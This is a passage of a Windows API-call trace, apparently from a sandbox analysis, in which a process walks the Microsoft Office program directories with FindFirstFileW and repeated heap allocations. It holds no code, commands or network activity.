Flags=0x0, Size=0x10000) returned 0x125fa90 [0085.500] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0085.505] GetProcessHeap () returned 0x11a0000 [0085.505] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0085.505] GetProcessHeap () returned 0x11a0000 [0085.505] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0085.505] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0085.508] GetProcessHeap () returned 0x11a0000 [0085.508] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0085.508] GetProcessHeap () returned 0x11a0000 [0085.508] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0085.508] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0085.760] GetProcessHeap () returned 0x11a0000 [0085.760] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0085.760] GetProcessHeap () returned 0x11a0000 [0085.760] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0085.760] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9f50 [0087.028] GetProcessHeap () returned 0x11a0000 [0087.028] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0087.028] GetProcessHeap () returned 0x11a0000 [0087.028] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0087.028] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\loc\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9f50 [0087.030] GetProcessHeap () returned 0x11a0000 [0087.030] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0087.030] GetProcessHeap () returned 0x11a0000 [0087.030] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0087.030] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9f50 [0087.272] GetProcessHeap () returned 0x11a0000 [0087.272] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b32770 [0087.274] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92201bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b8c7ea5, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b8c7ea5, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0087.335] GetProcessHeap () returned 0x11a0000 [0087.335] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b32770 | out: hHeap=0x11a0000) returned 1 [0087.336] GetProcessHeap () returned 0x11a0000 [0087.336] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b32770 [0087.336] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\es-es\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0087.354] GetProcessHeap () returned 0x11a0000 [0087.354] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b32770 | out: hHeap=0x11a0000) returned 1 [0087.354] GetProcessHeap () returned 0x11a0000 [0087.354] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b32770 [0087.354] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\fr-fr\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0087.364] GetProcessHeap () returned 0x11a0000 [0087.364] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b32770 | out: hHeap=0x11a0000) returned 1 [0087.364] GetProcessHeap () returned 0x11a0000 [0087.364] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b32770 [0087.364] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0087.409] GetProcessHeap () returned 0x11a0000 [0087.409] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b32770 | out: hHeap=0x11a0000) returned 1 [0087.409] GetProcessHeap () returned 0x11a0000 [0087.409] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0087.411] GetProcessHeap () returned 0x11a0000 [0087.411] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0087.411] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9f50 [0087.451] GetProcessHeap () returned 0x11a0000 [0087.451] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b32770 [0087.452] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b93a5c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0087.572] GetProcessHeap () returned 0x11a0000 [0087.572] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b42778 [0087.572] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0087.601] GetProcessHeap () returned 0x11a0000 [0087.601] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b42778 | out: hHeap=0x11a0000) returned 1 [0087.601] GetProcessHeap () returned 0x11a0000 [0087.601] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b42778 [0087.601] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1697068, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x99937c0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99937c0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0087.624] GetProcessHeap () returned 0x11a0000 [0087.624] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b42778 | out: hHeap=0x11a0000) returned 1 [0088.101] GetProcessHeap () returned 0x11a0000 [0088.101] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0088.101] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName=".", cAlternateFileName="")) returned 0x3b8b148 [0088.108] GetProcessHeap () returned 0x11a0000 [0088.108] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0088.108] GetProcessHeap () returned 0x11a0000 [0088.108] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0088.108] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName=".", cAlternateFileName="")) returned 0x3b8b1c8 [0088.116] GetProcessHeap () returned 0x11a0000 [0088.116] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0088.116] GetProcessHeap () returned 0x11a0000 [0088.116] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0088.116] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName=".", cAlternateFileName="")) returned 0x3b8b488 [0088.125] GetProcessHeap () returned 0x11a0000 [0088.125] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0088.421] GetProcessHeap () returned 0x11a0000 [0088.421] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b32770 | out: hHeap=0x11a0000) returned 1 [0088.422] GetProcessHeap () returned 0x11a0000 [0088.422] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b32770 [0088.423] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b6c8 [0088.424] GetProcessHeap () returned 0x11a0000 [0088.424] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b32770 | out: hHeap=0x11a0000) returned 1 [0088.424] GetProcessHeap () returned 0x11a0000 [0088.424] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b32770 [0088.424] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b388 [0088.424] GetProcessHeap () returned 0x11a0000 [0088.424] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b32770 | out: hHeap=0x11a0000) returned 1 [0088.424] GetProcessHeap () returned 0x11a0000 [0088.424] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b32770 [0088.424] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b648 [0088.425] GetProcessHeap () returned 0x11a0000 [0088.425] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b32770 | out: hHeap=0x11a0000) returned 1 [0088.425] GetProcessHeap () returned 0x11a0000 [0088.425] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b32770 [0088.426] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1335b74d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1335b74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b788 [0088.453] GetProcessHeap () returned 0x11a0000 [0088.453] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b32770 | out: hHeap=0x11a0000) returned 1 [0088.454] GetProcessHeap () returned 0x11a0000 [0088.454] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b32770 [0088.454] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b688 [0088.459] GetProcessHeap () returned 0x11a0000 [0088.459] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0088.460] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd42039, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName=".", cAlternateFileName="")) returned 0x3b8b048 [0088.462] GetProcessHeap () returned 0x11a0000 [0088.462] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b757a8 [0088.462] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b288 [0088.467] GetProcessHeap () returned 0x11a0000 [0088.467] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0088.469] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b6c8 [0088.479] GetProcessHeap () returned 0x11a0000 [0088.479] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0088.479] GetProcessHeap () returned 0x11a0000 [0088.479] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0088.479] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b1c8 [0088.844] GetProcessHeap () returned 0x11a0000 [0088.844] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0088.844] GetProcessHeap () returned 0x11a0000 [0088.844] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0088.844] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b188 [0088.848] GetProcessHeap () returned 0x11a0000 [0088.848] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0088.848] GetProcessHeap () returned 0x11a0000 [0088.848] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0088.849] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b088 [0088.852] GetProcessHeap () returned 0x11a0000 [0088.852] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0088.852] GetProcessHeap () returned 0x11a0000 [0088.852] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0088.852] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b788 [0088.858] GetProcessHeap () returned 0x11a0000 [0088.858] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0088.858] GetProcessHeap () returned 0x11a0000 